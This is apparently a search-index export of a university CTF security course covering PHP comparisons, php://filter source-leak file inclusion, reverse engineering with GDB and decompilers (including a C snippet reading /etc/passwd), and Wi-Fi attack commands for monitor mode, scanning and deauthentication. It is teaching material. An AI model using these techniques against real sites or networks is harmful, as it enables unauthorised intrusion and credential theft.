$x = \"\"; string TRUE FALSE TRUE FALSE $x = null; NULL TRUE TRUE FALSE FALSE var $x; NULL TRUE TRUE FALSE FALSE $x is undefined NULL TRUE TRUE FALSE FALSE $x = array(); array TRUE FALSE TRUE FALSE $x = array('a', 'b'); array FALSE FALSE TRUE TRUE $x = false; boolean TRUE FALSE TRUE FALSE $x = true; boolean FALSE FALSE TRUE TRUE $x = 1; integer FALSE FALSE TRUE TRUE $x = 42; integer FALSE FALSE TRUE TRUE $x = 0; integer TRUE FALSE TRUE FALSE $x = -1; integer FALSE FALSE TRUE TRUE $x = \"1\"; string FALSE FALSE TRUE TRUE $x = \"0\"; string TRUE FALSE TRUE FALSE $x = \"-1\"; string FALSE FALSE TRUE TRUE $x = \"php\"; string FALSE FALSE TRUE TRUE $x = \"true\"; string FALSE FALSE TRUE TRUE $x = \"false\"; string FALSE FALSE TRUE TRUE"},{"location":"CS315/2021/Week%205/#comparisons","title":"\"==\" Comparisons","text":"TRUE FALSE 1 0 -1 \"1\" \"0\" \"-1\" NULL array() \"php\" \"\" TRUE TRUE FALSE TRUE FALSE TRUE TRUE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE TRUE FALSE TRUE FALSE FALSE TRUE FALSE TRUE TRUE FALSE TRUE 1 TRUE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE 0 FALSE TRUE FALSE TRUE FALSE FALSE TRUE FALSE TRUE FALSE TRUE TRUE -1 TRUE FALSE FALSE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE \"1\" TRUE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE \"0\" FALSE TRUE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE \"-1\" TRUE FALSE FALSE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE NULL FALSE TRUE FALSE TRUE FALSE FALSE FALSE FALSE TRUE TRUE FALSE TRUE array() FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE TRUE TRUE FALSE FALSE \"php\" TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE TRUE FALSE \"\" FALSE TRUE FALSE TRUE FALSE FALSE FALSE FALSE TRUE FALSE FALSE TRUE"},{"location":"CS315/2021/Week%205/#comparisons_1","title":"\"===\" Comparisons","text":"TRUE FALSE 1 0 -1 \"1\" \"0\" \"-1\" NULL array() \"php\" \"\" TRUE TRUE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE 1 FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE 0 FALSE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE -1 FALSE FALSE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE FALSE \"1\" FALSE FALSE FALSE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE \"0\" FALSE FALSE FALSE FALSE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE \"-1\" FALSE FALSE FALSE FALSE FALSE FALSE FALSE TRUE FALSE FALSE FALSE FALSE NULL FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE TRUE FALSE FALSE FALSE array() FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE TRUE FALSE FALSE \"php\" FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE TRUE FALSE \"\" FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE TRUE"},{"location":"CS315/2021/Week%205/#file-inclusion","title":"File Inclusion","text":"PHP has multiple ways to include other source files such as require, require_once and include. These can take a dynamic string such as require $_GET['page'] . \".php\";
which is usually seen in templating.
PHP has its own URL scheme: php://...
and its main purpose is to filter output automatically. It can automatically remove certain HTML tags and can base64 encode as well.
$fp = fopen('php://output', 'w');\nstream_filter_append(\n $fp,\n 'string.strip_tags',\n STREAM_FILTER_WRITE,\n array('b','i','u'));\nfwrite($fp, \"<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\\n\");\n/* <b>bolded text</b> enlarged to a level 1 heading */\n
"},{"location":"CS315/2021/Week%205/#exploitation","title":"Exploitation","text":"These filters can also be used on input such as:
php://filter/convert.base64-encode/resource={file}
include
, file_get_contents()
, etc. support URLs including PHP stream filter URLs (php://
)include
normally evaluates any PHP code (in tags) it finds, but if it\u2019s base64 encoded it can be used to leak sourceThere are three new categories, four categories with naming and scoping changes, and some consolidation in the Top 10 for 2021.
One of my friends loves Jiaran so, so much. I'm not so interested in Vtubers, but I do know vtubers would hide some flag
in web.
Now we have the chat page of fans: http://103.102.44.218:10003/
. Maybe you can find flag in this website.
Hint: as a fan web, the privilege check is broken.
source.zip
"},{"location":"CS315/2021/Week%205/#5-pt-do-you-like-pickle","title":"(5 pt) Do you like pickle?","text":"Rick is a famous scientist in our universe. One time he trapped himself into a pickle.
Find some items to save Rick.
http://103.102.44.218:10004/
If you want to find some hints from source, here it is: source.zip
"},{"location":"CS315/2021/Week%205/#bonus-5-pt-jason-is-a-cool-guy","title":"(BONUS 5 pt) Jason is a cool guy","text":"Seems this website is impossible to broken. But still, nothing can block you hackers from stealing the flag.
https://81.68.223.245/
Here's the source code for you: source.zip
"},{"location":"CS315/2021/Week%206/","title":"Week6 RE: De-compiling Program","text":"According to the @CTF101: https://ctf101.org/
"},{"location":"CS315/2021/Week%206/#reverse-engineering","title":"Reverse Engineering","text":"Reverse Engineering in a CTF is typically the process of taking a compiled (machine code, bytecode) program and converting it back into a more human readable format.
Very often the goal of a reverse engineering challenge is to understand the functionality of a given program such that you can identify deeper issues.
Machine Code or Assembly is code which has been formatted for direct execution by a CPU. Machine Code is the why readable programming languages like C, when compiled, cannot be reversed into source code (well Decompilers can sort of, but more on that later).
"},{"location":"CS315/2021/Week%206/#from-source-to-compilation","title":"From Source to Compilation","text":"Godbolt shows the differences in machine code generated by various compilers.
For example, if we have a simple C++ function:
#include <unistd.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint main() {\n char c;\n int fd = syscall(2, \"/etc/passwd\", 0);\n while (syscall(0, fd, &c, 1)) {\n putchar(c);\n }\n}\n
We can see the compilation results in some verbose instrucitons for the CPU:
.LC0:\n .string \"/etc/passwd\"\nmain:\n push rbp\n mov rbp, rsp\n sub rsp, 16\n mov edx, 0\n mov esi, OFFSET FLAT:.LC0\n mov edi, 2\n mov eax, 0\n call syscall\n mov DWORD PTR [rbp-4], eax\n.L3:\n lea rdx, [rbp-5]\n mov eax, DWORD PTR [rbp-4]\n mov ecx, 1\n mov esi, eax\n mov edi, 0\n mov eax, 0\n call syscall\n test rax, rax\n setne al\n test al, al\n je .L2\n movzx eax, BYTE PTR [rbp-5]\n movsx eax, al\n mov edi, eax\n call putchar\n jmp .L3\n.L2:\n mov eax, 0\n leave\n ret\n
This is a one way process for compiled languages as there is no way to generate source from machine code. While the machine code may seem unintelligble, the extremely basic functions can be interpreted with some practice.
"},{"location":"CS315/2021/Week%206/#x86-64","title":"x86-64","text":"x86-64 or amd64 or i64 is a 64-bit Complex Instruction Set Computing (CISC) architecture. This basically means that the registers used for this architecture extend an extra 32-bits on Intel's x86 architecture. CISC means that a single instruction can do a bunch of diferent things at once such as memory accesses, register reads, etc. It is also a variable-length instruction set which means diferent instructions can be diferent sizes ranging from 1 to 16 bytes long. And finally x86-64 allows for multi-sized register access which means that you can access certain parts of a register which are diferent sizes.
"},{"location":"CS315/2021/Week%206/#x86-64-registers","title":"x86-64 Registers","text":"x86-64 registers behave similarly to other architectures. A key component of x86-64 registers is multi-sized access which means the register RAX can have its lower 32 bits accessed with EAX. The next lower 16 bits can be accessed with AX and the lowest 8 bits can be accessed with AL which allows for the compuler to make optimizations which boost program execution.
x86-64 has plenty of registers to use including rax, rbx, rcx, rdx, rdi, rsi, rsp, rip, r8-r15, and more! But some registers serve special purposes.
The special registers include: - RIP: the instruction pointer - RSP: the stack pointer - RBP: the base pointer
"},{"location":"CS315/2021/Week%206/#instructions","title":"Instructions","text":"An instruction represents a single operation for the CPU to perform.
There are diferent types of instructions including:
mov rax, [rsp - 0x40]
add rbx, rcx
jne 0x8000400
Because x86-64 is a CISC architecture, instructions can be quite complex for machine code such as repne scasb
which repeats up to ECX times over memory at EDI looking for NULL byte (0x00), decrementing ECX each byte (Essentially strlen() in a single instruction!)
It is important to remember that an instruction really is just memory, this idea will become useful with Return Oriented Programming or ROP.
Note
Instructions, numbers, strings, everything! Always represented in hex.
add rax, rbx\nmov rax, 0xdeadbeef\nmov rax, [0xdeadbeef] == 67 48 8b 05 ef be ad de\n\"Hello\" == 48 65 6c 6c 6f\n== 48 01 d8\n== 48 c7 c0 ef be ad de\n
"},{"location":"CS315/2021/Week%206/#execution","title":"Execution","text":"What should the CPU execute? This is determined by the RIP register where IP means instruction pointer. Execution follows the pattern: fetch the instruction at the address in RIP, decode it, run it.
"},{"location":"CS315/2021/Week%206/#examples","title":"Examples","text":"mov rax, 0xdeadbeef
Here the operation mov
is moving the \"immeadiate\" 0xdeadbeef
into the register RAX
mov rax, [0xdeadbeef + rbx * 4]
Here the operation mov
is moving the data at the address of [0xdeadbeef + RBX*4]
into the register RAX
. When brackets are used, you can think of the program as getting the content from that effective address.
-> 0x0804000: mov eax, 0xdeadbeef Register Values:\n 0x0804005: mov ebx, 0x1234 RIP = 0x0804000\n 0x080400a: add, rax, rbx RAX = 0x0\n 0x080400d: inc rbx RBX = 0x0\n 0x0804010: sub rax, rbx RCX = 0x0\n 0x0804013: mov rcx, rax RDX = 0x0\n 0x0804000: mov eax, 0xdeadbeef Register Values:\n-> 0x0804005: mov ebx, 0x1234 RIP = 0x0804005\n 0x080400a: add, rax, rbx RAX = 0xdeadbeef\n 0x080400d: inc rbx RBX = 0x0\n 0x0804010: sub rax, rbx RCX = 0x0\n 0x0804013: mov rcx, rax RDX = 0x0\n 0x0804000: mov eax, 0xdeadbeef Register Values:\n 0x0804005: mov ebx, 0x1234 RIP = 0x080400a\n-> 0x080400a: add, rax, rbx RAX = 0xdeadbeef\n 0x080400d: inc rbx RBX = 0x1234\n 0x0804010: sub rax, rbx RCX = 0x0\n 0x0804013: mov rcx, rax RDX = 0x0\n 0x0804000: mov eax, 0xdeadbeef Register Values:\n 0x0804005: mov ebx, 0x1234 RIP = 0x080400d\n 0x080400a: add, rax, rbx RAX = 0xdeadd123\n-> 0x080400d: inc rbx RBX = 0x1234\n 0x0804010: sub rax, rbx RCX = 0x0\n 0x0804013: mov rcx, rax RDX = 0x0\n 0x0804000: mov eax, 0xdeadbeef Register Values:\n 0x0804005: mov ebx, 0x1234 RIP = 0x0804010\n 0x080400a: add, rax, rbx RAX = 0xdeadd123\n 0x080400d: inc rbx RBX = 0x1235\n-> 0x0804010: sub rax, rbx RCX = 0x0\n 0x0804013: mov rcx, rax RDX = 0x0\n 0x0804000: mov eax, 0xdeadbeef Register Values:\n 0x0804005: mov ebx, 0x1234 RIP = 0x0804013\n 0x080400a: add, rax, rbx RAX = 0xdeadbeee\n 0x080400d: inc rbx RBX = 0x1235\n 0x0804010: sub rax, rbx RCX = 0x0\n-> 0x0804013: mov rcx, rax RDX = 0x0\n 0x0804000: mov eax, 0xdeadbeef Register Values:\n 0x0804005: mov ebx, 0x1234 RIP = 0x0804005\n 0x080400a: add, rax, rbx RAX = 0xdeadbeee\n 0x080400d: inc rbx RBX = 0x1235\n 0x0804010: sub rax, rbx RCX = 0xdeadbeee\n 0x0804013: mov rcx, rax RDX = 0x0\n
"},{"location":"CS315/2021/Week%206/#control-flow","title":"Control Flow","text":"How can we express conditionals in x86-64? We use conditional jumps such as:
jnz <address>
je <address>
jge <address>
jle <address>
They jump if their condition is true, and just go to the next instruction otherwise. These conditionals are checking EFLAGS which are special registers which store flags on certain instructions such as add rax, rbx
which sets the o (overflow) flag if the sum is greater than a 64-bit register can hold, and wraps around. You can jump based on that with a jo
instruction. The most important thing to remember is the cmp instruction:
cmp rax, rbx\njle error\n
This assembly jumps if RAX <= RBX
"},{"location":"CS315/2021/Week%206/#addresses","title":"Addresses","text":"Memory acts similarly to a big array where the indices of this \"array\" are memory addresses. Remember from earlier:
mov rax, [0xdeadbeef]\n
The square brackets mean \"get the data at this address\". This is analagous to the C/C++ syntax: rax = *0xdeadbeef;
The C programming language iwas written by Dennis Ritchie in the 1970s while he was working at Bell Labs. It was first used to reimplement the Unix operating system which was purely written in assembly language. At first, the Unix developers were considering using a language called \"B\" but because B wasn't optimized for the target computer, the C language was created.
C is the letter and the programming language after B!
C was designed to be close to assembly and is still widely used in lower level programming where speed and control are needed (operating systems, embedded systems). C was also very influential to other programming langauges used today. Notable languages include C++, Objective-C, Golang, Java, JavaScript, PHP, Python, and Rust.
"},{"location":"CS315/2021/Week%206/#hello-world","title":"Hello World","text":"C is an ancestor of many other programming languages and if you are familiar with programming, it's likely that C will be at least someewhat familiar.
#include <stdio.h>\nint main()\n{\n printf(\"Hello, World!\");\n return 0;\n}\n
"},{"location":"CS315/2021/Week%206/#today","title":"Today","text":"Today C is widely used either as a low level programming langauge or is the base language that other programming languages are implemented in.
While it can be difficult to see, the C language compiles down directly into machine code. The compiler is programmed to process the provided C code and emit assembly that's targetted to whatever operating system and architecture the compiler is set to use.
Some common compilers include:
A good way to explore this relationship is to use this online GCC Explorer from Matt Godbolt.
In regards to CTF, many reverse engineering and exploitation CTF challenges are written in C because the language compiles down directly to assembly and there are little to no safeguards in the language. This means developers must manually handle both. Of course, this can lead to mistakes which can sometimes lead to security issues.
Other higher level langauges like Python manage memory and garbage collection for you. Google Golang was inspired by C but adds in functionality like garbage collection, and memory safety.
There are some examples of famously vulnerable functions in C which are still available and can still result in vulnerabilities:
gets
- Can result in buffer overflowsstrcpy
- Can result in buffer overflowsstrcat
- Can result in buffer overflowsstrcmp
- Can result in timing attacksC has four basic types:
C uses an idea known as pointers. A pointer is a variable which contains the address of another variable.
To understand this idea we should first understand that memory is laid out in terms of addresses and data gets stored at these addresses.
Take the following example of defining an integer in C:
int x = 4;\n
To the programmer this is the variable x
receiving the value of 4. The computer stores this value in some location in memory. For example we can say that address 0x1000
now holds the value 4
. The computer knows to directly access the memory and retrieve the value 4
whenever the programmer tries to use the x
variable. If we were to say x + 4
, the computer would give you 8
instead of 0x1004
.
But in C we can retrieve the memory address being used to hold the 4 value (i.e. 0x1000) by using the &
character and using *
to create an \"integer pointer\" type.
int* y = &x;\n
The y
variable will store the address pointed to by the x
variable (0x1000).
The *
character allows us to declare pointer variables but also allows us to access the value stored at a pointer. For example, entering *y
allows us to access the 4 value instead of 0x1000.
Whenever we use the y
variable we are using the memory address, but if we use the x variable we use the value stored at the memory address.
Arrays are a grouping of objects of the same type. They are typically created with the following syntax:
type arrayName [ arraySize ];\n
To initialize values in the array we can do:
int integers[ 10 ] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};\n
Arrays allow programmers to group data into logical containers.
To access the indiviual elements of an array we access the contents by their \"index\". Most programming langauges today start counting from 0. So to take our previous example:
int integers[ 10 ] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};\n/* indexes 0 1 2 3 4 5 6 7 8 9\n
To access the value 6 we would use index 5:
integers[5];\n
"},{"location":"CS315/2021/Week%206/#how-do-arrays-work","title":"How do arrays work?","text":"Arrays are a clever combination of multiplication, pointers, and programming.
Because the computer knows the data type used for every element in the array, the computer needs to simply multiply the size of the data type by the index you are looking for and then add this value to the address of the beginning of the array.
For example if we know that the base address of an array is 1000 and we know that each integer takes 8 bytes, we know that if we have 8 integers right next to each other, we can get the integer at the 4th index with the following math:
1000 + (4 * 8) = 1032\narray [ 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 ]\nindex 0 1 2 3 4 5 6 7\naddrs 1000 1008 1016 1024 1032 1040 1048 1056\n
"},{"location":"CS315/2021/Week%206/#disassemblers","title":"Disassemblers","text":"A disassembler is a tool which breaks down a compiled program into machine code.
"},{"location":"CS315/2021/Week%206/#list-of-disassemblers","title":"List of Disassemblers","text":"The Interactive Disassembler (IDA) is the industry standard for binary disassembly. IDA is capable of disassembling \"virtually any popular file format\". This makes it very useful to security researchers and CTF players who often need to analyze obscure files without knowing what they are or where they came from. IDA also features the industry leading Hex Rays decompiler which can convert assembly code back into a pseudo code like format.
IDA also has a plugin interface which has been used to create some successful plugins that can make reverse engineering easier:
Binary Ninja is an up and coming disassembler that attempts to bring a new, more programmatic approach to reverse engineering. Binary Ninja brings an improved plugin API and modern features to reverse engineering. While it's less popular or as old as IDA, Binary Ninja (often called binja) is quickly gaining ground and has a small community of dedicated users and followers.
Binja also has some community contributed plugins which are collected here: https://github.com/Vector35/community-plugins
"},{"location":"CS315/2021/Week%206/#gdb","title":"gdb","text":"The GNU Debugger is a free and open source debugger which also disassembles programs. It's capable as a disassembler, but most notably it is used by CTF players for its debugging and dynamic analysis capabailities.
gdb is often used in tandom with enhancement scripts like peda, pwndbg, and GEF
"},{"location":"CS315/2021/Week%206/#the-gnu-debugger-gdb","title":"The GNU Debugger (GDB)","text":"The GNU Debugger or GDB is a powerful debugger which allows for step-by-step execution of a program. It can be used to trace program execution and is an important part of any reverse engineering toolkit.
"},{"location":"CS315/2021/Week%206/#vanilla-gdb","title":"Vanilla GDB","text":"GDB without any modifications is unintuitive and obscures a lot of useful information. The plug-in pwndb solves a lot of these problems and makes for a much more pleasant experience. But if you are constrained and have to use vanilla gdb, here are several things to make your life easier.
"},{"location":"CS315/2021/Week%206/#starting-gdb","title":"Starting GDB","text":"To execute GBD and attach it to a program simply run gdb [program]
(gdb) disassemble [address/symbol]
will display the disassembly for that function/frame
GDB will autocomplete functions, so saying (gdb) disas main
suffices if you'd like to see the disassembly of main
Another handy thing to see while stepping through a program is the disassembly of nearby instructions:
(gdb) display/[# of instructions]i $pc [\u00b1 offset]\n
display
shows data with each step/[#]i
shows how much data in the format i for instruction$pc
means the pc, program counter, register[\u00b1 offset]
allows you to specify how you would like the data offset from the current instruction(gdb) display/10i $pc - 0x5\n
This command will show 10 instructions on screen with an offset from the next instruction of 5, giving us this display:
0x8048535 <main+6>: lock pushl -0x4(%ecx)\n 0x8048539 <main+10>: push %ebp\n=> 0x804853a <main+11>: mov %esp,%ebp\n 0x804853c <main+13>: push %ecx\n 0x804853d <main+14>: sub $0x14,%esp\n 0x8048540 <main+17>: sub $0xc,%esp\n 0x8048543 <main+20>: push $0x400\n 0x8048548 <main+25>: call 0x80483a0 <malloc@plt>\n 0x804854d <main+30>: add $0x10,%esp\n 0x8048550 <main+33>: sub $0xc,%esp\n
"},{"location":"CS315/2021/Week%206/#deleting-views","title":"Deleting Views","text":"If for whatever reason, a view no long suits your needs simply call (gdb) info display
which will give you a list of active displays:
Auto-display expressions now in effect:\nNum Enb Expression\n1: y /10bi $pc-0x5\n
Then simply execute (gdb) delete display 1
and your execution will resume without the display.
In order to view the state of registers with vanilla gdb, you need to run the command info registers
which will display the state of all the registers:
eax 0xf77a6ddc -142971428\necx 0xffe06b10 -2069744\nedx 0xffe06b34 -2069708\nebx 0x0 0\nesp 0xffe06af8 0xffe06af8\nebp 0x0 0x0\nesi 0xf77a5000 -142979072\nedi 0xf77a5000 -142979072\neip 0x804853a 0x804853a <main+11>\neflags 0x286 [ PF SF IF ]\ncs 0x23 35\nss 0x2b 43\nds 0x2b 43\nes 0x2b 43\nfs 0x0 0\ngs 0x63 99\n
If you simply would like to see the contents of a single register, the notation x/x $[register]
where:
x/x
means display the address in hex notation$[register]
is the register code such as eax, rax, etc.These commands work with vanilla gdb as well.
"},{"location":"CS315/2021/Week%206/#setting-breakpoints","title":"Setting Breakpoints","text":"Setting breakpoints in GDB uses the format b*[Address/Symbol]
(gdb) b*main
: Break at the start(gdb) b*0x804854d
: Break at 0x804854d(gdb) b*0x804854d-0x100
: Break at 0x804844dAs before, in order to delete a view, you can list the available breakpoints using (gdb) info breakpoints
(don't forget about GDB's autocomplete, you don't always need to type out every command!) which will display all breakpoints:
Num Type Disp Enb Address What\n1 breakpoint keep y 0x0804852f <main>\n3 breakpoint keep y 0x0804864d <__libc_csu_init+61>\n
Then simply execute (gdb) delete 1
Note
GDB creates breakpoints chronologically and does NOT reuse numbers.
"},{"location":"CS315/2021/Week%206/#stepping","title":"Stepping","text":"What good is a debugger if you can't control where you are going? In order to begin execution of a program, use the command r [arguments]
similar to how if you ran it with dot-slash notation you would execute it ./program [arguments]
. In this case the program will run normally and if no breakpoints are set, you will execute normally. If you have breakpoints set, you will stop at that instruction.
(gdb) continue [# of breakpoints]
: Resumes the execution of the program until it finishes or until another breakpoint is hit (shorthand c
)(gdb) step[# of instructions]
: Steps into an instruction the specified number of times, default is 1 (shorthand s
)(gdb) next instruction [# of instructions]
: Steps over an instruction meaning it will not delve into called functions (shorthand ni
)(gdb) finish
: Finishes a function and breaks after it gets returned (shorthand fin
)Examining data in GDB is also very useful for seeing how the program is affecting data. The notation may seem complex at first, but it is flexible and provides powerful functionality.
(gdb) x/[#][size][format] [Address/Symbol/Register][\u00b1 offset]\n
x/
means examine[#]
means how much[size]
means what size the data should be such as a word w (2 bytes), double word d (4 bytes), or giant word g (8 bytes)[format]
means how the data should be interpreted such as an instruction i, a string s, hex bytes x[Address/Symbol][\u00b1 offset]
means where to start interpreting the data(gdb) x/x $rax
: Displays the content of the register RAX as hex bytes(gdb) x/i 0xdeadbeef
: Displays the instruction at address 0xdeadbeef(gdb) x/10s 0x893e10
: Displays 10 strings at the address(gdb) x/10gx 0x7fe10
: Displays 10 giant words as hex at the addressIf the program happens to be an accept-and-fork server, gdb will have issues following the child or parent processes. In order to specify how you want gdb to function you can use the command set follow-fork-mode [on/off]
If you would like to set data at any point, it is possible using the command set [Address/Register]=[Hex Data]
set $rax=0x0
: Sets the register rax to 0set 0x1e4a70=0x123
: Sets the data at 0x1e4a70 to 0x123A handy way to find the process's mapped address spaces is to use info proc map
:
Mapped address spaces:\n\n Start Addr End Addr Size Offset objfile\n 0x8048000 0x8049000 0x1000 0x0 /directory/program\n 0x8049000 0x804a000 0x1000 0x0 /directory/program\n 0x804a000 0x804b000 0x1000 0x1000 /directory/program\n 0xf75cb000 0xf75cc000 0x1000 0x0\n 0xf75cc000 0xf7779000 0x1ad000 0x0 /lib32/libc-2.23.so\n 0xf7779000 0xf777b000 0x2000 0x1ac000 /lib32/libc-2.23.so\n 0xf777b000 0xf777c000 0x1000 0x1ae000 /lib32/libc-2.23.so\n 0xf777c000 0xf7780000 0x4000 0x0\n 0xf778b000 0xf778d000 0x2000 0x0 [vvar]\n 0xf778d000 0xf778f000 0x2000 0x0 [vdso]\n 0xf778f000 0xf77b1000 0x22000 0x0 /lib32/ld-2.23.so\n 0xf77b1000 0xf77b2000 0x1000 0x0\n 0xf77b2000 0xf77b3000 0x1000 0x22000 /lib32/ld-2.23.so\n 0xf77b3000 0xf77b4000 0x1000 0x23000 /lib32/ld-2.23.so\n 0xffc59000 0xffc7a000 0x21000 0x0 [stack]\n
This will show you where the stack, heap (if there is one), and libc are located.
"},{"location":"CS315/2021/Week%206/#attaching-processes","title":"Attaching Processes","text":"Another useful feature of GDB is to attach to processes which are already running. Simply launch gdb using gdb
, then find the process id of the program you would like to attach to an execute attach [pid]
.
Decompilers do the impossible and reverse compiled code back into psuedocode/code.
IDA offers HexRays, which translates machine code into a higher language pseudocode.
"},{"location":"CS315/2021/Week%206/#example-workflow","title":"Example Workflow","text":"Let's say we are disassembling a program which has the source code:
#include <stdio.h>\n\nvoid printSpacer(int num){\n for(int i = 0; i < num; ++i){\n printf(\"-\");\n }\n printf(\"\\n\");\n}\n\nint main()\n{\n char* string = \"Hello, World!\";\n for(int i = 0; i < 13; ++i){\n printf(\"%c\", string[i]);\n for(int j = i+1; j < 13; j++){\n printf(\"%c\", string[j]);\n }\n printf(\"\\n\");\n printSpacer(13 - i);\n }\n return 0;\n}\n
And creates an output of:
Hello, World!\n-------------\nello, World!\n------------\nllo, World!\n-----------\nlo, World!\n----------\no, World!\n---------\n, World!\n--------\n World!\n-------\nWorld!\n------\norld!\n-----\nrld!\n----\nld!\n---\nd!\n--\n!\n-\n
If we are given a binary compiled from that source and we want to figure out how the source looks, we can use a decompiler to get c pseudocode which we can then use to reconstruct the function. The sample decompilation can look like:
printSpacer:\nint __fastcall printSpacer(int a1)\n{\n int i; // [rsp+8h] [rbp-8h]\n\n for ( i = 0; i < a1; ++i )\n printf(\"-\");\n return printf(\"\\n\");\n}\n\nmain:\nint __cdecl main(int argc, const char **argv, const char **envp)\n{\n int v4; // [rsp+18h] [rbp-18h]\n signed int i; // [rsp+1Ch] [rbp-14h]\n\n for ( i = 0; i < 13; ++i )\n {\n v4 = i + 1;\n printf(\"%c\", (unsigned int)aHelloWorld[i], envp);\n while ( v4 < 13 )\n printf(\"%c\", (unsigned int)aHelloWorld[v4++]);\n printf(\"\\n\");\n printSpacer(13 - i);\n }\n return 0;\n}\n
A good method of getting a good representation of the source is to convert the decompilation into Python since Python is basically psuedocode that runs. Starting with main often allows you to gain a good overview of what the program is doing and will help you translate the other functions.
"},{"location":"CS315/2021/Week%206/#main","title":"Main","text":"We know we will start with a main function and some variables, if you trace the execution of the variables, you can oftentimes determine the variable type. Because i is being used as an index, we know its an int, and because v4 used as one later on, it too is an index. We can also see that we have a variable aHelloWorld being printed with \"%c\", we can determine it represents the 'Hello, World!' string. Lets define all these variables in our Python main function:
def main():\n string = \"Hello, World!\"\n i = 0\n v4 = 0\n for i in range(0, 13):\n v4 = i + 1\n print(string[i], end='')\n while v4 < 13:\n print(string[v4], end='')\n v4 += 1\n print()\n printSpacer(13-i)\n
"},{"location":"CS315/2021/Week%206/#printspacer-function","title":"printSpacer Function","text":"Now we can see that printSpacer is clearly being fed an int value. Translating it into python shouldn't be too hard.
def printSpacer(number):\n i = 0\n for i in range(0, number):\n print(\"-\", end='')\n print()\n
"},{"location":"CS315/2021/Week%206/#results","title":"Results","text":"Running main() gives us:
Hello, World!\n-------------\nello, World!\n------------\nllo, World!\n-----------\nlo, World!\n----------\no, World!\n---------\n, World!\n--------\n World!\n-------\nWorld!\n------\norld!\n-----\nrld!\n----\nld!\n---\nd!\n--\n!\n-\n
"},{"location":"CS315/2021/Week%206/#exercise","title":"Exercise","text":""},{"location":"CS315/2021/Week%206/#4-pt-de-android","title":"(4 pt) De-Android","text":"Android source code is easy to de-compile. Rather than reading assembly codes from the beginning, why not try some java first?
Try to reverse this Android apk file and find flag in it.
Flag format: CTFlearn{******}
flag.apk
Hint1: if you really have difficult to reverse Android, I would recommend you to try jadx.
Hint2: md5 is old and not safe. So many methods can help you to crack md5.
"},{"location":"CS315/2021/Week%206/#4-pt-touhou-players-win-twice","title":"(4 pt) Touhou Players Win Twice","text":"I heard that some SUSTCers are really good at playing Touhou Project (\u6771\u65b9project) Games. As a kind of STG game, Touhou Project is very difficult and not friendly for beginners.
Some one sent me this game and challenged me: if you can pass all 6 levels in Lunatic
difficulty, you can have the flag.
Each time you finish a level in Lunatic difficulty, one part of flag is given to flag.txt
under the game directory. I have several ideas for you to break this game:
Good luck!
https://mega.nz/file/KtNkiZga#juXA-LhgguC8De76CTYnHjPaObvlNcyjyEDXjhkSDCs
"},{"location":"CS315/2021/Week%206/#2-pt-javaisez3","title":"(2 pt) javaisez3","text":"3rd round of your local Java rev! Note: This requires Java 11 and above to run.
javaisez3.jar
"},{"location":"CS315/2021/Week%207/","title":"Week7 WLAN: Attacking WiFi","text":"According to @Hacktricks: https://book.hacktricks.xyz/
"},{"location":"CS315/2021/Week%207/#wifi-basic-commands","title":"Wifi basic commands","text":"ip link show #List available interfaces\niwconfig #List available interfaces\nairmon-ng check kill #Kill annoying processes\nairmon-ng start wlan0 #Monitor mode\nairmon-ng stop wlan0mon #Managed mode\nairodump-ng wlan0mon #Scan (default 2.4Ghz)\nairodump-ng wlan0mon --band a #Scan 5Ghz\niwconfig wlan0 mode monitor #Put in mode monitor\niwconfig wlan0mon mode managed #Quit mode monitor - managed mode\niw dev wlan0 scan | grep \"^BSS\\|SSID\\|WSP\\|Authentication\\|WPS\\|WPA\" #Scan available wifis\n
"},{"location":"CS315/2021/Week%207/#tools","title":"Tools","text":""},{"location":"CS315/2021/Week%207/#eaphammer","title":"EAPHammer","text":"git clone https://github.com/s0lst1c3/eaphammer.git\n./kali-setup\n
"},{"location":"CS315/2021/Week%207/#airgeddon","title":"Airgeddon","text":"mv `which dhcpd` `which dhcpd`.old\napt install isc-dhcp-server\napt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe\n
"},{"location":"CS315/2021/Week%207/#run-airgeddon-with-docker","title":"Run airgeddon with docker","text":"docker run \\\n --rm \\\n -ti \\\n --name airgeddon \\\n --net=host \\\n --privileged \\\n -p 3000:3000 \\\n -v /tmp:/io \\\n -e DISPLAY=$(env | grep DISPLAY | awk -F \"=\" '{print $2}') \\\n v1s1t0r1sh3r3/airgeddon\n
From: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux
"},{"location":"CS315/2021/Week%207/#resume-attacks","title":"Resume attacks","text":"The most common way this sort of attack is done is with deauthentication packets. These are a type of \"management\" frame responsible for disconnecting a device from an access point. Forging these packets is the key to hacking many Wi-Fi networks, as you can forcibly disconnect any client from the network at any time. The ease of which this can be done is somewhat frightening and is often done as part of gathering a WPA handshake for cracking.
